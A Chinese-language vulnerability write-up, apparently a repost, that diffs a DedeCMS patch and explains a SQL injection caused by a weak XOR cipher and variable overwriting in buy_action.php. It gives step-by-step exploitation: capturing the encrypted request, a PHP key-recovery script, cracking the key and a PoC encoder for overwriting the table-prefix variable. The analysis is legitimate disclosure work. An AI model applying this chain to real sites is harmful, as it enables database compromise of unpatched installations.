前兩天,烏云白帽子提交了兩個DedeCMS的通殺注入漏洞,鬧得沸沸揚揚,25號織夢官方發布了補丁,于是就下載最新代碼回來做了對比,這里簡單的分析下其中的一個注入。
對比補丁后發現,25號發布的源碼修改了5個文件,其中的/member/buy_action.php文件補丁對比如圖1。

很明顯mchStrCode函數加強了加密強度,補丁前是簡單的異或算法,但是織夢25號發布的補丁旨在修復烏云提交的兩個注入,這個函數可能有貓膩,搜索調用該函數的文件,如圖2。

接著看到/member/buy_action.php的22 - 40行代碼:
#!php
if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
{
parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
foreach($mch_Post as $k => $v) $$k = $v;
$row = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 AND product='$product'");
if(!isset($row['buyid']))
{
ShowMsg("請不要重復提交表單!", 'javascript:;');
exit();
}
if(!isset($paytype))
{
ShowMsg("請選擇支付方式!", 'javascript:;');
exit();
}
$buyid = $row['buyid'];
}else{
注意其中的這兩行代碼:
#!php
parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
foreach($mch_Post as $k => $v) $$k = $v;
調用了mchStrCode函數對$pd_encode變量解密并通過parse_str函數注冊變量,緊接著foreach遍歷$mch_Post數組,這里如果我們可以控制$pd_encode解碼后的內容,就可以注冊覆蓋任意變量。回過頭來看mchStrCode函數的代碼:
#!php
function mchStrCode($string,$action='ENCODE')
{
$key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
$string = $action == 'ENCODE' ? $string : base64_decode($string);
$len = strlen($key);
$code = '';
for($i=0; $i<strlen($string); $i++)
{
$k = $i % $len;
$code .= $string[$i] ^ $key[$k];
}
$code = $action == 'DECODE' ? $code : base64_encode($code);
return $code;
}
看到mchStrCode函數中的這句代碼:
#!php
$key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
$_SERVER["HTTP_USER_AGENT"]+$GLOBALS['cfg_cookie_encode']經過md5取18位字符,其中的$_SERVER["HTTP_USER_AGENT"]是瀏覽器的USER_AGENT,我們可控,關鍵是這個$GLOBALS['cfg_cookie_encode']的來源,我們繼續對比補丁,如圖3。

其中/install/index.php的$rnd_cookieEncode字符串的生成同樣是加強了強度,$rnd_cookieEncode字符串最終也就是前面提到的$GLOBALS['cfg_cookie_encode'],我們看看補丁前的代碼:
#!php
$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));
這段代碼生成的加密密匙很有規律,所有密匙數為26^6*(9999-1000)=2779933068224,把所有可能的組合生成字典,用passwordpro暴力跑MD5或者使用GPU來破解,破解出md5過的密匙也花不了多少時間。 分析到此,現在的關鍵是如何得到經過MD5加密后的18位長度密匙。前面說過,mchStrCode函數使用簡單的異或算法,假設有明文A,密匙B,密文C,則:
C = A ^ B
B = A ^ C
也就是說ABC只要只其二就可以推導出剩下的一個了。怎么得到明文以及加密后的字符串呢?看到/member/buy_action.php的112 - 114行代碼:
#!php
$pr_encode = '';
foreach($_REQUEST as $key => $val)
{
$pr_encode .= $pr_encode ? "&$key=$val" : "$key=$val";
}
$pr_encode = str_replace('=', '', mchStrCode($pr_encode));
$pr_verify = md5("payment".$pr_encode.$cfg_cookie_encode);
$tpl = new DedeTemplate();
$tpl->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm');
$tpl->Display();
注意到$pr_encode是從$_REQUEST獲取的,也就是說明文可控,同時$pr_encode加密后寫到html頁面,如圖4。

下面來測試,這里需要用到firefox的一個插件User Agent Switcher來設置UA,安裝插件后,添加一個UA頭,其中的User Agent清空,description隨便填。確認保存并使用插件將瀏覽器的UA設置剛剛添加的UA頭,即為空。如圖5。

設置為空是因為mchStrCode函數中的密匙含$_SERVER["HTTP_USER_AGENT"],如果不為空將加大md5的破解難度,設置為空則密匙為固定10位長度。設置好UA后,注冊并登陸會員中心,在“我的織夢”->“消費中心”->“會員升級/點卡充值”中的“購買新點卡”選擇“100點卡”,在點擊購買前使用Live HTTP header監聽,抓到的數據包如圖6。

因為$_REQUEST獲取參數是從$_GET->$_POST->$_COOKIE依次獲取,所以$pr_encode明文的的內容為POST的內容“product=card&pid=1”加上COOKIE的內容,然后加密并打印加密后的字符串到html頁面。同時“product=card&pid=1”剛好18個字符長度,對應密匙長度。點擊購買后支付方式選支付寶,再次使用使用Live HTTP header監聽,點擊購買并支付提交,抓到的數據包如圖7。

將pd_encode=后面的字符串復制下來,利用下面的代碼逆出MD5加密后的key:
#!php
<?php
$key = "product=card&pid=1";
$string = "QEJXUxNTQwlVABcGF0QMVAwFFmBwZzV1ZGd%2FJVhQQAIXWAMCBEZeBwAAUVJTAgoNA0BTBgdWBhZ8UgJVYkdTEywmDAxDdFRQVWVLUhR5c2tpAg4vVQFYVFQHBAVZUV5VBVEGAFdQBRIhVVVRfF9fXghkXllTXFRRCAdRAAUDBQUecwNUUnhZBgwMZV0IVW5rU1t1U1MNVVIOWFFRA1UEAwcEUQZaBUB1eWJpJiogcHcub2RmfA0XUwNUUldbEkoPVFkHVUMbX0BdRQdEXltYTxUKQQ";//加密的pd_encode字符串,需要修改
$string = base64_decode(urldecode($string));
for($i=0; $i<strlen($string); $i++)
{
$code .= $string[$i] ^ $key[$i];
}
echo "md5(\$key):" .$code;
?>

如圖8。取逆出的key的前16位破解md5即可,破解出密匙后就可以利用mchStrCode函數來加密參數,同時利用變量覆蓋漏洞覆蓋$GLOBALS[cfg_dbprefix]實現注入。這里給出一段POC,代碼如下:
#!php
<?php
$GLOBALS['cfg_cookie_encode'] = 'CaQIm1790O';
function mchStrCode($string,$action='ENCODE')
{
$key = substr(md5($GLOBALS['cfg_cookie_encode']),8,18);
$string = $action == 'ENCODE' ? $string : base64_decode($string);
$len = strlen($key);
$code = '';
for($i=0; $i<strlen($string); $i++)
{
$k = $i % $len;
$code .= $string[$i] ^ $key[$k];
}
$code = $action == 'DECODE' ? $code : base64_encode($code);
return $code;
}
其中的CaQIm1790O就是解密出來的密匙,漏洞分析到處結束,感覺像是在記流水賬,將就看看吧,最后上個本地測試EXP的圖。如圖9。

寫到這里就算結束了,最后做個總結,漏洞由mchStrCode函數弱算法->導致通過獲取到的明文和密文可以逆出經過MD5加密的密匙->破解MD5得到密匙->利用密匙加密數據->經過parse_str函數和foreach遍歷最終覆蓋表前綴變量$GLOBALS[cfg_dbprefix]實現注入,這樣的漏洞并不多見,但危害很大,WAF等防火墻很難防御,漏洞利用過程提交的數據因為加密,面目全非,和正常用戶操作提交的數據并無二致。
附:官方補丁地址:http://www.dedecms.com/pl/
原文鏈接:http://loudong.#/blog/view/id/16